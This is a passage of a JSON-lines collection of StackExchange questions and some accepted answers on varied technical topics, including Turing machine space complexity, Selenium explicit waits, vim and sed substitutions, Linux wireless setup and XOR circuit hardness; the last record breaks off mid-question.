{  "id": "_cs.76682"  , "question": "Let's consider the following situation.We have a finitie alphabet $A$. Let $A = \\{a_1, .., a_k\\}$ We consider words over $A$ of length exactly $n$.I am trying to solve some problem and I am going to:Generate every word using non-deterministic Turing Machine. And, for every generated word make a computation $C$. that uses only constant space and linear time. So, it seems that we have to remember (for a moment) generated word. I mean the situation that we have to generate word $w$ and then make a computation $C$ on $w$.The scheme of Turing machine looks like:The question is: Is my Turing machine NPSPACE? I have a problem with thinking about space complexity when it comes to nondterministic TM."  , "title": "Understanding of SPACE in non deterministic Turing Machines"  , "tags": "turing machines;space complexity;nondeterminism"  , "accepted_answer": "A nondeterministic Turing machine is a Turing machine that has a guessing mechanism. It accepts an input if there is a sequences of guesses that leads it to an accepting state. It rejects an input if all guesses lead it to a rejecting state.The time complexity and space complexity of the Turing machine are defined in exactly the same way as for deterministic Turing machines:The time complexity on inputs of size $n$ is the maximum number of steps that the machine executes before halting over all inputs of size $n$ and all guesses.The space complexity on inputs of size $n$ is the maximum number of tape cells that the machine uses over all inputs of size $n$ and all guesses.If your machine always uses only a polynomial amount of space, then it is is NPSPACE. Note that NPSPACE=PSPACE, a consequence of Savitch's theorem, and so you can convert it to a deterministic machine using polynomial space (the amount of space used could increase)."  } 
{  "id": "_softwareengineering.91130"  , "question": "I'm a nub programmer, using python, and my current project is a chatbot for an irc channel I reside in. I wish to make it capable of keeping conversations organized, primarily between its self and one other person.Right now, I'm creating a conversation object when the bot is initially addressed. The object has the attributed of peer (the other conversation member), topic (the basic topic of the conversation), log (a log of past messages to and from the peer), lastsent (super-simplified forms of the most recent 10 messages sent to the channel by the bot), and lastrecv (the last 10 messages received sent to the channel by the peer, also super-simplified). As messages are received, the bot checks the topic and runs through a list of expected replies. If one is matched, the bot chooses a response and send it to the channel. It then updates the topic if needed and the bot's conversation dictionary.The bot has a conversation dictionary list, the key is the user's nickname, and the definition is the conversation object.I feel this is unnecessarily excessive. I was wondering what some other approaches to keeping track of conversations were. Are there any simpler, easier approaches?"  , "title": "Chatbot Conversation Objects, your approach?"  , "tags": "python;methodology"  } 
{  "id": "_unix.202218"  , "question": "I'm on a shared machine running CentOS 5.10 that I log onto using VNC from Windows 7. Our default and official shell is csh.Every time I open a new terminal, I have three particular environment variables (related to the modules system) that are mysteriously set somewhere.I can't find them in .cshrc, nor in .login (which I don't have anyway), nor in /etc/csh.cshrc or /etc/csh.login or anywhere else I can think of.Is there a way to trace what sources them?Just to clarify, if I log onto the gateway machine using PuTTY, I don't face that issue."  , "title": "csh: Terminal inherits environment variables from an unknown location"  , "tags": "shell;terminal;environment variables;csh"  } 
{  "id": "_codereview.153513"  , "question": "I am writing some tests in selenium webdriver (on node.js). and have made a custom function to check the css value of an iFrame Element. I'm a coding beginner.The script tests an app where the user writes the image width they want (just putting in a number) and the image in an iFrame should change width. This is tricky because one must switch iFrames, wait for elements to become stale (as the new image width is loaded) then grab the new element and check its css value.Often, the tests are flaky because sometimes it checks before the value has changed etc. I finally wrote a function that passed 120 times out of 120 times.//function looks for 'el', then switches iframe and extracts the desired cssValur, then compares it to the 'value' we expectPage.checkCssValue = function (el, cssValue, value){    //find function, the '0' represents the iframe index    var newEl = this.find(el, 0);    return newEl.getCssValue(cssValue).then(function(result){        if(result !== value){            console.log(result +  and  + value +  Do not Match.)            return Page.checkCssValue(el, cssValue, value);        }        else{            console.log(result +  and  + value +  Do Match!)            return result;        }    });};But I'm not sure if this is considered bad programming and if a while loop would be better?"  , "title": "Recursively checking the css class of an iFrame Element"  , "tags": "javascript;node.js;selenium;webdriver"  , "accepted_answer": "Code structure wise, the recursive pattern in JavaScript/Selenium and Protractor code is a pretty common one. The biggest problem here is that, you don't have a recursive cycle exit condition - if result would never become equal to value, you'll eventually get the recursive call stack size overflow error. This is a negative case for you and would probably mean a test failure, but, in the world end-to-end UI tests, you have to be as specific in your test failures as possible (the difficulties in finding the root cause for a test failure is one of the reasons we should generally write more unit tests as opposed to end-to-end tests, according to Google Testing Pyramid).A better approach to tackle flakiness would be to use Explicit Waits, which are design to continuously execute a function until it evaluates to true, or a timeout is reached:this.wait( condition, opt_timeout, opt_message )  ThenableSchedules a command to wait for a condition to hold. The condition may be specified by a Condition, as a custom function, or as any promise-like thenable.For a Condition or function, the wait will repeatedly evaluate the condition until it returns a truthy value. If any errors occur while evaluating the condition, they will be allowed to propagate. In the event a condition returns a promise, the polling loop will wait for it to be resolved and use the resolved value for whether the condition has been satisified. Note the resolution time for a promise is factored into whether a wait has timed out.Here is how you can apply wait() in your case:// function looks for 'el', then switches iframe and extracts the desired cssValue, then compares it to the 'value' we expectPage.checkCssValue = function (el, cssValue, value) {    // find function, the '0' represents the iframe index    var newEl = this.find(el, 0);    // wait for the desired CSS value    var timeout = 5000;  // in milliseconds    this.driver.wait(function() {        return newEl.getCssValue(cssValue).then(function (result) {            return result === value;        });    }, timeout, CSS value ' + cssValue + ' has not become equal to ' + value + '.);    return newEl.getCssValue(cssValue);};where this.driver is your selenium webdriver instance, 5000 is a timeout value in milliseconds."  } 
{  "id": "_codereview.26410"  , "question": "I am required to read the following text from a keyboard (stdin). Please note that it will be entered by the user from the keyboard in this format only.    #the total size of physical memory (units are B, KB, MB, GB)    512MB   2       #the following are memory allocations    {            abc = alloc(1KB);             {                y_ = alloc(128MB);                x1= alloc(128MB);                y_ = alloc(32MB);               for (i = 0; i < 256; i++) abc[i] =alloc(512kB);                  x1 = alloc(32MB); x2 = alloc(32MB); x3 = alloc(32MB);               x1.next = x2, x2.next = x3, x3.next = x1;    }    abc = alloc(256MB);    }A line beginning with the # sign is considered a comment and is ignored.The first two allocations are physical memory size and number of generations.A global bracket will be opened and it may be followed by a line calledabc = alloc(1KB);where abc is the object name and 1KB is the memory size allocated.x1.next = x2, where x1 points to x2.The for loop is entered in this format and it can have a same-line command or can have nested for loops.for (i = 0; i < 256; i++) abc[i] =alloc(512kB);I have the following code that somewhat takes care of this. I want to know how to improve on it.#include <iostream>#include <algorithm>#include <string>#include <iomanip>#include <limits>#include <stdio.h>#include <sstream>using namespace std;using std::stringstream;string pMem,sGen, comment,val,input,input_for,id_size,id,init_str1, init_str2, inc_str, id_dummy,s_out,sss, id_dummy1;int gen=0, pMem_int=0,i=0, gBrckt =0,cBrckt=0, oBrckt=0, id_size_int,v1,v2, for_oBrckt=0,for_cBrckt=0,y=0, y1=0, g=0;unsigned long pMem_ulong =0, id_size_ulong;char t[20], m[256], init1[10],init2[10],inc[10];unsigned pos_start, pos,pos_strt=0,pos_end=0;string extract(string pMem_extract);unsigned long toByte(int pMem_int_func, string val);void commentIgnore(string& input);void func_insert();void func_insert_for();stringstream out;void commentIgnore_for(string& input_for);int main() {  /* Reading the input main memory and num of generations */  /* Ignoring comment line */  cin >> pMem;  if(pMem == #) {    cin.clear();    pMem.clear();    getline(cin,comment);    cin >> pMem;  }  if(pMem == #) {    cin.clear();    pMem.clear();    getline(cin,comment);    cin >> pMem;  }  if(pMem == #) {    cin.clear();    pMem.clear();    getline(cin,comment);    cin >> pMem;    }  /* Reading input generations */  cin>> sGen;  if(sGen == #) {    cin.clear();    sGen.clear();    getline(cin,comment);    cin >> sGen;  }  if(sGen == #) {    cin.clear();    sGen.clear();    getline(cin,comment);    cin >> sGen;  }  if(sGen == #) {    cin.clear();    sGen.clear();    getline(cin,comment);    cin >> sGen;  }  /* Convert sGen and physical memory to int and report error if not a number */  gen = atoi(sGen.c_str());  if(gen ==0) {    cerr << Generation must be a number<<endl;      exit(0);  }  pMem_int = atoi(pMem.c_str());  //  cout<< gen<< <<pMem_int<<endl;  /* Now that the number from pMem is removed, get its unit B,MB,KB */  extract(pMem); /* returns val(string) */  /* convert the given physical memory to Byte. input: pMem_int*/  toByte(pMem_int, val); /*  return(pMem_ulong)*/  // move pMem_ulond to another location to keep address intact  /* read rest of the inputs  */  /* Ignore comment lines before the global bracket */   cin >> input;  if(input == #){    cin.clear();    input.clear();    getline(cin,comment);    cin >> input;  }  if(input == #){    cin.clear();    input.clear();    getline(cin,comment);    cin >> input;  }  if(input == #){    cin.clear();    input.clear();    getline(cin,comment);    cin >> input;  }  if(input.compare({) ==0)    gBrckt=1;  else {    cerr<< Syntax error\\n;    exit(0);  }  /* Clearing the input stream for next input */  cin.ignore(numeric_limits<streamsize>::max(), '\\n');  cin.clear();  input.clear();  //cout<<input: <<input<<endl;  while( getline(cin,input)) {    if(input == CTRL-D)      break;    commentIgnore(input);    //cout<<inputloop: <<input<<endl;    /* If input = '{' or '}'*/    if(input.compare({) ==0)      oBrckt = oBrckt + 1;     if (input.compare(}) ==0)      cBrckt = cBrckt + 1;     if (((input.find(alloc))!= string::npos) && (input.find(alloc) < input.find(for))) {       func_insert();       //call the allocate function here with name: id, size: id_size_ulong     }     if ((input.find(for)) != string::npos) {        sscanf(input.c_str(), for (%s = %d; %s < %d; %[^)]), init1, &v1, init2, &v2, inc);    init_str1 = init1, init_str2 = init2, inc_str = inc;    cout<<init1<< =<< v1<< <<init_str1<< <  << v2<<  << inc_str<<endl;    cout << input <<endl;    if(init_str1 != init_str2) {      cerr << Error!\\n;      exit(0);    }    if ((input.find(alloc))!= string::npos) {      // unsigned pos = (input.find(alloc));      if((input.find(;)) != string::npos) {         pos_start = (input.find())+1);        string alloc_substr  = input.substr(pos_start);        cout<<Substring alloc: << alloc_substr<<endl;        func_insert();        //call the allocate function here with name: id, size: id_size_ulong      }      else {        cerr << ERROR: SYNTAX\\n;        exit(0);      }    }    //  cin.ignore();    while(getline(cin,input_for)) {      commentIgnore_for(input_for);      if ((input_for.find({) != string::npos)) {        pos = input_for.find({);        for_oBrckt = for_oBrckt+1;        string for_brckt = input_for.substr(pos,pos);        cout<< Found:  << for_oBrckt<<endl;      }      if ((input_for.find(}) != string::npos)) {         pos = input_for.find(});        for_cBrckt = for_cBrckt+1;        string for_brckt = input_for.substr(pos,pos);        cout<< Found:  << for_cBrckt<<endl;      }      if (((input_for.find(alloc))!= string::npos) && (input_for.find(alloc) < input_for.find(for))) {        func_insert_for();        //call the allocate function here with name: id, size: id_size_ulong      }      if(for_oBrckt == for_cBrckt)        break;    }    cout<<out of break<<endl;     }      if (((input.find(.next))!= string::npos) && (input.find(.next) < input.find(for))) {       func_insert();       //call the allocate function here with name: id, size: id_size_ulong     }      if(((cBrckt-oBrckt)) == gBrckt)       break;  }}/*---------------------- Function definitions --------------------------------*//* Function to extract the string part of physical memory */string extract(string pMem_extract) {  i=0;  const char *p = pMem_extract.c_str();  for(i=0; i<=(pMem_extract.length()); i++) {    if (*p=='0'|| *p=='1'|| *p=='2'|| *p=='3'|| *p =='4'|| *p=='5'|| *p=='6'|| *p=='7'|| *p=='8'|| *p=='9')      *p++;    else {      val = pMem_extract.substr(i);      return(val);    }  }}/* Convert the physical memory to bytes. return(pMem_ulong);*/unsigned long toByte(int pMem_int_func, string val){  if (val == KB)    pMem_ulong =  (unsigned long) pMem_int_func * 1024;  else if (val == B)    pMem_ulong = (unsigned long) pMem_int_func;  else if (val == GB)    pMem_ulong = (unsigned long) pMem_int_func * 1073741824;  else if (val == MB)    pMem_ulong = (unsigned long) pMem_int_func * 1048576;  else {    cerr<<Missing the value in memory, B, KB, MB, GB\\n;    exit(0);  }  return(pMem_ulong);}/*Ignoring comment line*/void commentIgnore(string& input){  unsigned found = input.find('#');  if (found!=std::string::npos)   input= input.erase(found);  else    return;  return;}void func_insert() { sscanf(input.c_str(), %s = alloc(%[^)]);, t, m);       id =t;       id_size =m;       cout<<Tag: <<id <<  Memory: <<id_size<<endl;       extract(id_size); /* Separates B,MB,KB and GB of input, returns val*/       id_size_int = atoi(id_size.c_str());       /* Convert object size to B */       toByte(id_size_int, val); /* return(pMem_ulong) */       id_size_ulong = pMem_ulong;}void func_insert_for() {  sscanf(input_for.c_str(), %s = alloc(%[^)]);, t, m);  id =t;  id_size =m;  if(!((id.find([)) && (id.find(])) != string::npos)) {    cout<<Tag: <<id <<  Memory: <<id_size<<endl;    extract(id_size); /* Separates B,MB,KB and GB of input, returns val*/    id_size_int = atoi(id_size.c_str());    /* Convert object size to B */    toByte(id_size_int, val); /* return(pMem_ulong) */    id_size_ulong = pMem_ulong;    // allocate here    return;  }  else {    if(inc_str.find(++))      y1 =1;    if(inc_str.find(=))      {    sss = inc_str.substr(inc_str.find(+) +1);    y1 = atoi(sss.c_str());    cout<<y1:<<y1<<endl;      }    pos_strt = id.find([);    pos_end = id.find(]) -1;    cout<<Positions start and ebd:  << pos_strt<<pos_end<<endl;    id_dummy = id.substr(0,pos_strt);    id = id_dummy;    cout<<Tag: <<id_dummy <<  Memory: <<id_size<<endl;    extract(id_size); /* Separates B,MB,KB and GB of input, returns val*/    id_size_int = atoi(id_size.c_str());    /* Convert object size to B */    toByte(id_size_int, val); /* return(pMem_ulong) */    id_size_ulong = pMem_ulong;    //allocate here    cout<<v1:  << v1 <<   << v2<<endl;    // g = 0;    for(y = v1; y < v2; y= y+y1) {      // allocate here    }  }  return;}void commentIgnore_for(string& input_for){  unsigned found = input_for.find('#');  if (found!=std::string::npos)   input_for= input_for.erase(found);  else    return;  return;}"  , "title": "Reading input from keyboard"  , "tags": "c++;strings;stream"  } 
{  "id": "_datascience.9222"  , "question": "I am trying to understand how the shape of the image changes after deconvolution ?I am trying to understand the example code of convolutional autoencoder from neon.layers = [Conv((4, 4, 8), init=init_uni, activation=Rectlin()),          Pooling(2),          Conv((4, 4, 32), init=init_uni, activation=Rectlin()),          Pooling(2),          Deconv(fshape=(3, 3, 8), init=init_uni, strides=2, padding=1),          Deconv(fshape=(3, 3, 8), init=init_uni, strides=2, padding=1),          Deconv(fshape=(4, 4, 1), init=init_uni, strides=2, padding=0)]The input_shapes and output_shapes of each layer are as followsConvolution Layer 'ConvolutionLayer': 1 x (28x28) inputs, 8 x (25x25) outputs, padding 0, stride 1Pooling Layer 'PoolingLayer': 8 x (25x25) inputs, 8 x (12x12) outputsConvolution Layer 'ConvolutionLayer': 8 x (12x12) inputs, 32 x (9x9) outputs, padding 0, stride 1Pooling Layer 'PoolingLayer': 32 x (9x9) inputs, 32 x (4x4) outputsDeconvolution Layer 'DeconvolutionLayer': 32 x (4x4) inputs, 8 x (7x7) outputsDeconvolution Layer 'DeconvolutionLayer': 8 x (7x7) inputs, 8 x (13x13) outputsDeconvolution Layer 'DeconvolutionLayer': 8 x (13x13) inputs, 1 x (28x28) outputsI understand how the shapes change after convolution ('valid'). (Thanks to http://cs231n.github.io/convolutional-networks/)How does the stride affect the size of matrix when deconvolution (full convolution) is used ? "  , "title": "How does strided deconvolution works?"  , "tags": "deep learning;convnet;autoencoder"  } 
{  "id": "_unix.270349"  , "question": "I have over 400 lines of html containing this code for images:<a class='gallery' href=galimages/boards/board34.jpg alt=board large><image src =galimages/boards/thumbs/34.jpg alt=board thumb></a>The first lot are board images and go from number 34 to 160.Is there a way to programmitically number them because each line of code is identical except for the numbers?I am on Centos 7 and I use vim editor normally."  , "title": "sequentially number a line of linked images with vim or other?"  , "tags": "vim"  , "accepted_answer": "Vim solutionSome suggestions here. I'd create the list of numbers, then substitute the rest of the string around them. I find this strategy easier, since you'd want two of each number. For example, in an empty document::put =range(34,160):%s,\\(.*\\),<a class='gallery' href=galimages/boards/board\\1.jpg alt=board large><image src =galimages/boards/thumbs/\\1.jpg alt=board thumb></a>N.B. put creates an empty line on the first line, so you'll have to delete that manually.Explanation:put =range(34,160): Create a range of numbers from 34 to 160, one on each line. As noted, this actually starts the document with a blank line, so manually delete it now or later.:%s,FOO,BAR: Over the whole document (%), do a search and replace (s), replacing FOO with BAR.FOO: \\(.*\\). Replace the whole line (.*), but store the contents (number) into a capturing group, i.e. \\(...\\) .BAR: Replace with the string as required, using the number in two places (\\1), to create the final lines.Shell solutionYou can use a similar strategy in the shell without using vim.$ seq 34 160 | sed 's,\\(.*\\),<a class='\\''gallery'\\'' href=galimages/boards/board\\1.jpg alt=board large><image src =galimages/boards/thumbs/\\1.jpg alt=board thumb></a>,'Explanationseq 34 160: Create a range of numbers from 34 to 160, one on each line.sed: substitute as above. N.B. since I quote the sed argument with ', this script escapes the in-line 's with '\\''."  } 
{  "id": "_softwareengineering.325306"  , "question": "I am going to develop which will be web application as well as mobile (android / iOS / windows) application. The database in this application will be managed by Hibernate. Also as it is cross platform application, web service will also be used. What I know so far is:HIBERNATE:POJO Files (the getter-setter ones which will create database tables)Model (the java class which will interact with database)Controller (basically servlet which will get data from view [jsp],set it in POJO object and pass this object to Model for any of CRUDoperation)View (the jsp pages)REST WEB SERVICE:Web service implementation class, which have web methods, which canbe called by URL from client, and it can return JSON or XML formatdata.So now my question is:How to integrate these both? Should I put my all POJOs and Modelfiles to web service? If no, than what to do in this situation? Ifyes, than how to do that (simple example)?"  , "title": "How do I integrate hibernate and REST web service in java?"  , "tags": "java;rest;web services;hibernate"  } 
{  "id": "_unix.119232"  , "question": "My distro is fedora 17 Gnome -64, and the wireless adapter is Edimax EW-7612UAn V2. I never used wireless on this computer and it is not so long ago I installed this op system. I installed wireless on another computer with fedora 17 few years ago, but I don't remember how to set it up.There is no wireless showing up anywhere, and I couldn't set it up with network connection because it didn't see the adapter, I think.This is what I've done:I've built the wpa_supplicant, had one error, but fixed it. The driver won't build I think, the only directions where to build and make wpa_supplicant, but now I found that there is a driver folder to with a makefile, can't build that one, says that a folder is missing. This is from the file on their website to build. But there is no wireless. I've done everything in the readme file from the vendor. But no wireless showing up?sudo lshw -c network -sanitize*-network                  description: Ethernet interface   product: 82573E Gigabit Ethernet Controller (Copper)   vendor: Intel Corporation   physical id: 0   bus info: pci@0000:02:00.0   logical name: p1p1   version: 03   serial: [REMOVED]   size: 100Mbit/s   capacity: 1Gbit/s   width: 32 bits   clock: 33MHz   capabilities: pm msi pciexpress bus_master cap_list ethernet physical tp 10bt 10bt-fd 100bt 100bt-fd 1000bt-fd autonegotiation   configuration: autonegotiation=on broadcast=yes driver=e1000e driverversion=2.2.14-k duplex=full firmware=1.0-7 ip=[REMOVED] latency=0 link=yes multicast=yes port=twisted pair speed=100Mbit/s   resources: irq:42 memory:d0080000-d009ffff memory:d0000000-d007ffff ioport:4000(size=32)After I took the extension cord off the adapter, the system could see it:   description: Wireless interface   physical id: 1   bus info: usb@3:1   logical name: wlan0   serial: [REMOVED]   capabilities: ethernet physical wireless   configuration: broadcast=yes driver=rtl8192cu driverversion=3.9.10-100.fc17.x86_64 firmware=N/A link=no multicast=yes wireless=IEEE 802.11bgnBut it says that the hardware is disabled? In the network manager"  , "title": "Trouble setting up wireless fedora 17"  , "tags": "fedora;wifi"  , "accepted_answer": "As I suggested in this similar Q&A titled: No wired ethernet connection, you want to start at the bottom of the stack when debugging networking issues. Use the following command to confirm that your WiFi NIC has a driver associated with it.$ sudo lshw -c network -sanitize  *-network       description: Wireless interface       product: Centrino Wireless-N 1000 [Condor Peak]       vendor: Intel Corporation       physical id: 0       bus info: pci@0000:03:00.0       logical name: wlp3s0       version: 00       serial: [REMOVED]       width: 64 bits       clock: 33MHz       capabilities: pm msi pciexpress bus_master cap_list ethernet physical wireless       configuration: broadcast=yes driver=iwlwifi driverversion=3.12.11-201.fc19.x86_64 firmware=39.31.5.1 build 35138 ip=[REMOVED] latency=0 link=yes multicast=yes wireless=IEEE 802.11bgn       resources: irq:44 memory:f2400000-f2401fffPay special attention to the configuration: line, looking for the portion that shows driver=...."  } 
{  "id": "_cstheory.32267"  , "question": "Suppose we are given a set of n boolean variables x_1,...,x_n and a set of m functions y_1...y_m where each y_i is the XOR of a (given) subset of these variables.The goal is to compute the minimum number of XOR operations you need to perform to compute all these y_1...y_m functions.Note that the result of an XOR operation,say x_1 XOR x_2 might be used in computation of multiple y_j's but is counted as one. Also, note that it might be useful to compute XOR of a much larger collection of x_i's (larger than any y_i function, e.g. computing XOR of all x_i's) in order to compute y_i's more efficiently,Equivalently, suppose we have a binary matrix A, and a vector X and the goal is to compute vector Y such that A.X=Y where all operations done in GF(2) using minimum number of operations.Even when each row of A has exactly k one's (say k=3) is interesting.Does anybody know about the complexity (hardness of approximation) for this question? Mohammad Salavatiopur"  , "title": "smallest circuit size using XOR gates"  , "tags": "circuit complexity;approximation hardness;approximation;matrix product"  , "accepted_answer": "This is NP-hard. See:Joan Boyar, Philip Matthews, Ren Peralta. Logic Minimization Techniques with Applications to Cryptology. http://link.springer.com/article/10.1007/s00145-012-9124-7The reduction is from Vertex Cover and is very nice. Given a graph $(\\{1,\\ldots,n\\},E)$ with $m=|E|$, define an $m \\times (n+1)$ matrix $A$ as: $A[i,j] = 1$ if $j < n+1$ and $(i,j) \\in E$, and $A[i,n+1] = 1$. In other words, given $n+1$ variables $x_1,\\ldots,x_{n+1}$ we want to compute the $m$ linear forms $x_i+x_j+x_{n+1}$ for all $(i,j) \\in E$.A little thought shows that there is an XOR circuit for $A$ with gates of fan-in two computing the linear transformation $A$ with only $m+k$ gates, where $k$ is the optimal vertex cover for the graph. (First compute $x_{i'} + x_{n+1}$ for all $i'$ in the vertex cover, using $k$ operations. The linear forms are then all computable in $m$ more operations.) It turns out that this is also a minimum size circuit!The proof that the reduction is correct is not so nice. I would love to see a short proof that this reduction is correct."  } 
{  "id": "_webmaster.82563"  , "question": "We have an eCommerce site, and we have had rich snippets implemented (in JSON-LD) since January/February this year (2015). I have read multiple sources (including the Google documentation) and there seem to be three possibilities why they are not showing:Not enough time has passed (4-12 weeks seems to be the common time quoted)The markup is wrongGoogle have decided not to show the dataI can rule out the first given the amount of time.The second I am fairly confident is not the case as I have used multiple testing tools.As for the third  well that's anyone's guess (although the study here suggests that MOST shops should be successful).A strange note is that the rich snippets do not show on a regular search for our ranking keywords (we rank #1 for a few and page 1 for the majority). However the rich snippets DO show when we search for a ranking keyword + site:www.fridgefreezerdirect.co.uk as show here:I have done this in an incognito window in the browser and using a VPN with the same results.Can anyone suggest anything we can do or reasons this may be?"  , "title": "Rich Snippets not working (and working at the same time?)"  , "tags": "google search;serps;rich snippets;schema.org"  , "accepted_answer": "We have been having very similar issues with our website. As with yours we have waited above that time period (6 months in fact), and all the testing tools show the markup as valid.The third bullet point is most likely the issue. The reasons Google outline are (in the form of answering a question):Q: Why doesn't my site show rich snippets? I added everything and the test tool shows it's ok.A: Google does not guarantee that Rich Snippets will show up for search results from a particular site even if structured data is marked up and can be extracted successfully according to the testing tool. Here are some reasons that marked-up pages might not be shown with Rich Snippets:- The marked-up structured data is not representative of the main content of the page or potentially misleading.- Marked-up data is incorrect in a way that the testing tool was not able to catch.- Marked-up content is hidden from the user.- The site has very few pages (or very few pages with marked-up structured data) and may not be picked up by Google's Rich Snippets system.(Source - http://sites.google.com/site/webmasterhelpforum/en/faq-rich-snippets#noshow)Assuming you don't make any of those mistakes, the Google algorithm has just decided to not show your markup. The appearance of the rich snippets when using the site: operator also suggests this. When using the site: operator, it doesn't actually factor the Google algorithm when generating and displaying the results. Therefore if your rich snippets are showing with the site: operator, then the search engine can pick up the rich snippets but the algorithm is preventing them from showing.Unfortunately, unless you have a manual action in your Webmaster Tools (now Search Console) about the rich snippets, you can't do anything more directly to try and rectify the situation unless the algorithm changes. You can try reaching out on the Google Product Forums to see if you can get someone there to have a look at it."  } 
{  "id": "_unix.67909"  , "question": "I have Windows 8 and need to dual boot Ubuntu. I made a new partition from Windows Manager. My machine is Dell Inspiron 15R-5537 LaptopWindows 8, and I tried to install the latest version 16.04 Ubuntu .My machine doesn't allow to make partitions more than 4. then when I shrink the new space for Ubuntu I have got unallocated space rather than free space!!!but when I boot Ubuntu and chooseInstallation Type:Something else hereI can't select the unallocated space! which is the shrink-ed new partition.this option of Add(+) is disabled when I select unallocated space.such like following:Then I can't install Ubuntu because I can't select and add partitions for Ubuntu. My installation is stopped at this pointI'm trying to use How do I dual boot Ubuntu with Windows 8 in a different partition?"  , "title": "Dual boot Ubuntu with windows 8"  , "tags": "linux;ubuntu;dual boot"  } 
{  "id": "_unix.165572"  , "question": "I wanted to try Sage Math as a free alternative to MatLab. I installed it from AUR, and it works in terminal, but I can't access it via the browser. I tried to Google it, but had no luck.~> sage Sage Version 6.3, Release Date: 2014-08-10                          Type notebook() for the browser-based notebook interface.         Type help() for help.                                            sage: notebook()The notebook files are stored in: sage_notebook.sagenb                                                 Open your web browser to http://localhost:8080                                                 Executing twistd  --pidfile=sage_notebook.sagenb/sagenb.pid -ny sage_notebook.sagenb/twistedconf.tac/opt/sage/local/lib/python2.7/site-packages/Crypto/Util/number.py:57: PowmInsecureWarning: Not using mpz_powm_sec.  You should rebuild using libgmp >= 5 to avoid timing attack vulnerability.  _warn(Not using mpz_powm_sec.  You should rebuild using libgmp >= 5 to avoid timing attack vulnerability., PowmInsecureWarning)2014-11-02 19:29:59+0100 [-] Log opened.2014-11-02 19:29:59+0100 [-] twistd 13.2.0 (/opt/sage/local/bin/python 2.7.8) starting up.2014-11-02 19:29:59+0100 [-] reactor class: twisted.internet.epollreactor.EPollReactor.2014-11-02 19:29:59+0100 [-] QuietSite starting on 80802014-11-02 19:29:59+0100 [-] Starting factory <__builtin__.QuietSite instance at 0x7f4b7f7ab830>It opens Chromium at localhost:8080, but it gives me Connection Refused error. I also tried this in Firefox, but with the same results.There's some odd error, but it doesn't look like that's related.I'm running the up-to-date Arch Linux 64bit.I'll be grateful for any ideas to get this working."  , "title": "Sage Math browser interface not working"  , "tags": "arch linux;python"  } 
{  "id": "_computerscience.1998"  , "question": "In a webgl pixel shader, all functions are inlined as i understand it, however you can have parameters that are marked as in versus being inout meaning that their value can change but the value won't persist outside of the function call.Does this mean that the shader must make a copy of the value for the function to work with when it is an in value?Are shader compilers/optimizers smart enough to know when they don't need to make a copy, or is it best to really just mark up all parameters as inout and make sure and not modify the ones you don't want modified, if performance is the primary concern?Thanks!"  , "title": "Cost of parameter passing in webgl pixel shaders?"  , "tags": "webgl;pixel shader;efficiency"  , "accepted_answer": "My experience working with shader compiler stacks a few years back is that they are extremely aggressive, and I doubt you will see any perf difference, but I would suggest testing as much as you can.I would generally recommend providing the compiler (and human readers) with more information where the language allows it, marking parameters according to their usage. Treating an in-only parameter as in/out is more error prone for humans than compilers.Some detail: shaders run almost entirely using registers for variables (I worked with architectures that supported up to 256 32 bit registers) - spilling is hugely expensive. Physical registers are shared between shader invocations - think of this as threads in a HyperThread sense sharing a register pool - and if the shader can be complied to use fewer registers there's greater parallelism. The result is shader compilers work very hard to minimize the number of registers used - without spilling, of course. Thus inlining is common since it's desirable to optimize register allocation across the whole shader anyway."  } 
{  "id": "_unix.228216"  , "question": "I have a directory which has folders of everyday and every folder has 1000 of images in it. I want to archive folders older than 30 days to archeive folder.I tried this and it bugged up everything, It copied all the image files to archeive folder instead of date folder.sudo find /home/lanein1/AshtonRPOUT/ -type f -mtime +30 -exec mv '{}' /home/lanein1/AshtonRPOUT/Arch/ \\;  my script copied all the images into arch instead of folders seprately.."  , "title": "moving folder older than 30 days to another folder"  , "tags": "ubuntu"  } 
{  "id": "_webapps.12213"  , "question": "I'm trying to make my kids' (ages 9.5 and 9.5) gmail accounts safer.Is there a way to limit (filter, etc.) inbound email to only email from folks on their contact list?"  , "title": "How to limit inbound Gmail (ideally) or other free web email to only from contact list (to make it kid-safe)"  , "tags": "gmail;outlook.com"  , "accepted_answer": "Thanks to the tip from Al Everett, I poked around on Hotmail.Bring up your Hotmail window Clickon the Options drop down menu inthe upper right corner. Choose More Options. Choose Filters and Reporting  Selectthe second option under Junk EmailFilter: Exclusive"  } 
{  "id": "_unix.322864"  , "question": "Errata:Similar questions about this have been asked but after searching this for a few days there appears to be no answer to this specific scenario.Description of the problem:The second line in in the following bash script triggers the error:#!/bin/bashsessionuser=$( ps -o user= -p $$ | awk '{print $1}' )print $sessionuserHere is the error message:Unescaped left brace in regex is deprecated, passed through in regex; marked by <-- HERE in m/%{ <-- HERE (.*?)}/ at /usr/bin/print line 528.Things I have tried:I have tried every combination of single quotes, back angled single quotes, double quotes, and spacing I could think of both inside and outside the $() command output capture method.I have tried using $( exec ... ) where ... is the command being attempted here.I have read up on bash, and searched these forums and many others and nothing seems illuminate why this error message is happening or how to work around it.If the suggestion given in the error message is followed like this:sessionuser=$( ps -o user= -p 1000 | awk '\\{print $1}' )It results in the following error message combined with the previous one:awk: cmd. line:1: \\{print $1}awk: cmd. line:1: ^ backslash not last character on lineUnescaped left brace in regex is deprecated, passed through in regex; marked by <-- HERE in m/%{ <-- HERE (.*?)}/ at /usr/bin/print line 528.The message refers to line 528 in /usr/bin/print. Here is that line:$comm =~ s!%{(.*?)}!$_='$ENV{$1}';s/\\`//g;s/\\'\\'//g;$_!ge;Rational for my bash script:The string $USER can be rewritten and is therefore not necessarily reliable. The command whoami will return different results depending on whether or not privileges have been elevated for the current user.As such there is a need for reliably attaining the current session users name for portability of scripting, and that is because I am probably not going to keep the same user name forever and would like my scripts to continue working regardless of who I have logged in as.All of that is because user files are being backed up that have huge directory structures and many files. Every once in a while a file with root ownership and permissions will end up in that backup stack for that user. There are lots of reasons why this happens and sometimes its just because that user backed up a wallpaper or a theme they like from the system directory structure, or sometimes its because a project was compiled by that user and some of its directories or files needed to be set to root ownership and permissions for it to function in some way, and other times it may be due to some other strange unaccounted for thing.I understand that rsync might be able to handle this problem, but I'd like to understand how to tackle the Unescaped left brace in a Bash script problem first.I can study rsync on my own, but after trying for a few days this bash script doesn't appear to have a solution that is easy to discover or illuminate through either online searches or reading the manuals.[UPDATE 01]:Some information was missing from my original post so I'm adding it here.Here are the relevant system specs:OS: Xubuntu 16.04 x86_64Bash: GNU bash, version 4.3.46(1)-release (x86_64-pc-linux-gnu)Source and Rational for the commands I'm using:3rd reply down in the following thread:https://stackoverflow.com/questions/19306771/get-current-users-username-in-bashPrint vs. PrintfI posted this question using print instead of printf because the source I copied it from used the print 